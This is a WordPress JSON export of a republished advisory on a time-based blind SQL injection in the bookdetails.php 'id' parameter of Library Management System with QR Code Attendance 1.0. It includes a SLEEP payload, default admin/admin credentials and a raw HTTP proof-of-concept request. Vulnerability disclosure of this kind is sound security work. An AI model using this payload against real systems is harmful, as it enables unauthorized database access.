{"id":26287,"date":"2022-06-27T22:30:00","date_gmt":"2022-06-27T18:30:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167590\/lmsqr10-sql.txt"},"modified":"2022-07-13T10:52:22","modified_gmt":"2022-07-13T06:22:22","slug":"library-management-system-with-qr-code-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/library-management-system-with-qr-code-1-0-sql-injection\/","title":{"rendered":"Library Management System With QR Code 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">#### Title: Library Management System with QR code Attendance 1.0 SQL<br \/>\nInjection<br \/>\n#### Author: Ashish Kumar (<br \/>\nhttps:\/\/www.linkedin.com\/in\/ashish-kumar-0b65a3184)<br \/>\n#### Date: 27.06.2022<br \/>\n#### Vendor: https:\/\/www.sourcecodester.com\/users\/kingbhob02<br \/>\n#### Software:<br \/>\nhttps:\/\/www.sourcecodester.com\/php\/15434\/library-management-system-qr-code-attendance-and-auto-generate-library-card.html<br \/>\n#### Version: 1.0<br \/>\n#### Reference:<br \/>\nhttps:\/\/github.com\/CyberThoth\/CVE\/blob\/main\/CVE\/Library%20Management%20System%20with%20QR%20code%20Attendance\/Sql%20Injection\/POC.md<\/p>\n<p dir=\"ltr\">#### Description\uff1a<br \/>\n##### The reason for the SQL injection vulnerability is that the website<br \/>\napplication does not verify the validity of the data submitted by the user<br \/>\nto the server (type, length, business parameter validity, etc.), and does<br \/>\nnot effectively filter the data input by the user with special characters ,<br \/>\nso that the user&#8217;s input is directly brought into the database for<br \/>\nexecution, which exceeds the expected result of the original design of the<br \/>\nSQL statement, resulting in a SQL injection vulnerability.Library<br \/>\nManagement System with QR code Attendance does not filter the content<br \/>\ncorrectly at the &#8220;bookdetails.php&#8221; id parameter, resulting in the<br \/>\ngeneration of SQL injection.<\/p>\n<p dir=\"ltr\">#### Payload used:<br \/>\n`&#8217; AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)&#8211; PbtB`<\/p>\n<p dir=\"ltr\">#### POC<\/p>\n<p dir=\"ltr\">1. Login into the CMS.<br \/>\nAdmin Default Access:<\/p>\n<p dir=\"ltr\">Username: admin<\/p>\n<p dir=\"ltr\">Password: admin<\/p>\n<p dir=\"ltr\">2. http:\/\/localhost\/LMS\/librarian\/bookdetails.php?id=191<\/p>\n<p dir=\"ltr\">3. Put sleep(5) payload (`&#8217; AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)&#8211;<br \/>\nPbtB`)<\/p>\n<p dir=\"ltr\">4. `http:\/\/localhost:80\/LMS\/librarian\/bookdetails.php?id=&#8217; AND (SELECT 9198<br \/>\nFROM (SELECT(SLEEP(5)))iqZA)&#8211; PbtB`<\/p>\n<p dir=\"ltr\">5. code<br \/>\n&#8220;`<br \/>\nGET<br \/>\n\/LMS\/librarian\/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)&#8211;%20PbtB<br \/>\nHTTP\/1.1<br \/>\nHost: localhost<br \/>\nsec-ch-ua: &#8220;Chromium&#8221;;v=&#8221;97&#8243;, &#8221; Not;A Brand&#8221;;v=&#8221;99&#8243;<br \/>\nsec-ch-ua-mobile: ?0<br \/>\nsec-ch-ua-platform: &#8220;Windows&#8221;<br \/>\nUpgrade-Insecure-Requests: 1<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<br \/>\n(KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36<br \/>\nAccept:<br \/>\ntext\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9<br \/>\nSec-Fetch-Site: none<br \/>\nSec-Fetch-Mode: navigate<br \/>\nSec-Fetch-User: ?1<br \/>\nSec-Fetch-Dest: document<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8<br \/>\nCookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco<br \/>\nConnection: close<br \/>\n&#8220;`<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#### Title: Library Management System with QR code Attendance 1.0 SQL Injection #### Author: Ashish Kumar ( https:\/\/www.linkedin.com\/in\/ashish-kumar-0b65a3184) #### Date: 27.06.2022 #### Vendor: https:\/\/www.sourcecodester.com\/users\/kingbhob02 #### Software: https:\/\/www.sourcecodester.com\/php\/15434\/library-management-system-qr-code-attendance-and-auto-generate-library-card.html #### Version: 1.0 #### Reference: https:\/\/github.com\/CyberThoth\/CVE\/blob\/main\/CVE\/Library%20Management%20System%20with%20QR%20code%20Attendance\/Sql%20Injection\/POC.md #### Description\uff1a ##### The reason for the SQL injection vulnerability is that the website application does not verify the validity of the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26287","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26287","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26287"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26287\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26287"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26287"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26287"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}